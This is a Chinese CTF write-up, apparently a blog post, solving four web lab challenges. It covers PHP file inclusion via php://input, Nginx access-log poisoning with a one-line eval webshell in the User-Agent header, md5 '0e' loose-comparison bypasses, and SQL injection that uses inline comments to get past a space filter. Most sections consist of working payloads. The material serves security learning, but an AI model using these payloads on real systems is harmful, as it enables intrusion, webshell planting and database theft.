web3|文件包含

开启靶机,第一眼确定存在文件包含。

看见文件包含,就要想到使用php伪协议
https://blog.csdn.net/m0_56107268/article/details/127760614
这里常用:php://input。
简单来说就是当$_GET参数被包含时,并且我们可以自由控制$_GET参数的输入,就能将$_POST 发送的php代码执行。
前提:enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。
所以这里,我们先试一下打印phpinfo。

成功打印,然后我们尝试直接命令执行列出目录。
post中

1
<?php system("ls")?>

直接爆出一个类似于flag的文件

那我们直接读取即可

成功获取flag。

web4|文件包含|日志注入

开启靶机,怎么和上一题一样?反复确认,先尝试上一道题的方法,提示错误。
应该是当enctype等于”multipart/form-data”时php://input是无效的
然后就…不会了。
参考了一下师傅的思路,这里是日志注入配合文件包含。
1、查看中间件
首先得查看中间件,以确认日志的存放路径。
抓包查看即可,是ngnix搭建的一个网站。

2、利用日志包含漏洞
日志包含漏洞的成因还是服务器没有进行严格的过滤 ,导致用户可以进行任意文件读取,
但是前提是服务器需要开启了记录日志的功能才可以利用这个漏洞。
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log(访问日志) 和 /var/log/nginx/error.log(记录处理日志)
除此之外,我们还可以尝试读取:
/etc/nginx/nginx.conf:该文件是Nginx的配置的文件,该文件保存着能够影响服务器运行的配置信息。有时会泄露敏感信息。该文件支持php解析。
/etc/passwd:存储该系统的用户信息。
原理:中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
这里是中间件是Nginx:
Nginx中的日志分两种,一种是error.log,一种是access.log。error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。
3、先读取error.log
e,一片空白,直接不理会。
4、再读取access.log

可以看到,日志里面就是存储UA头的内容,那我们可以在UA头插入恶意php代码,然后访问,应该会回显好东西。
这里直接插入一句话。

1
<?php @eval($_POST['cmd']); ?>

蚁剑连接即可。

注:这里我前期测试次数比较多,然后真正插入一句话时发现失效,即连接不上;后面就是重启了一下靶机环境,这才成功。推测是日志设了上限,满了就不能写入
这位师傅不用连接,直接读取,俺没有成功复现:https://blog.csdn.net/HAI_WD/article/details/132103628

web5|ezbypass

开启靶机,推测是绕过一些函数最终才会显示flag。
ctype_alpha()函数用于检测字符串中是否仅包含字母,是则返回true,否则返回false
is_numeric()函数用于检测变量是否为数字或数字字符串,是则返回true,否则返回false
这两处都可以输入字符串和输入数字绕过。
但是第三处

1
md5($v1)==md5($v2)

双等号弱等于,可以找两个md5加密后开头都是0e(这样就会被认为是科学计数法)的参数进行绕过
所以我们要找一个字母字符串和数字字符串都以0e开头的,这样md5后的值为0,就实现了绕过。
QNKCDZO 的md5值为 0e830400451993494058024219903391
240610708 的md5值为 0e462097431906509019562988736854
对应输入即可获取flag。

web6|sql

开启靶机,怎么又是sql注入。
还是判断有无注入点以及是字符型还是数字型注入。
e,这里输入1’|1无回显,那么直接先尝试万能密码。

1
1' or 1=1#

提示注入错误

应该是存在过滤,进一步测试,发现是对空格存在过滤。
思路
这里是采取使用内联注释/**/代替空格。

1
1'/**/or/**/1=1#

成功登录。

爆列数
这里要注意,必须要使用万能密码登陆后才可以判断回显位。

1
1'or/**/1=1/**/order/**/by/**/3#

判断出,3列。
后面也可以加上or/**/1=1,只不过我习惯不加。
判断回显位

1
1'/**/union/**/select/**/1,2,3#

也可以

1
1'or/**/1=1/**/union/**/select/**/1,2,3#

后面同理;回显位在2.

直接爆库

1
1'/**/union/**/select/**/1,database(),3#


直接爆表

1
1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

1
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3#


爆字段

1
1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3#


爆flag

1
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#


除此之外,还可以用()替换掉空格。
详情:https://blog.csdn.net/qq_68581192/article/details/133717059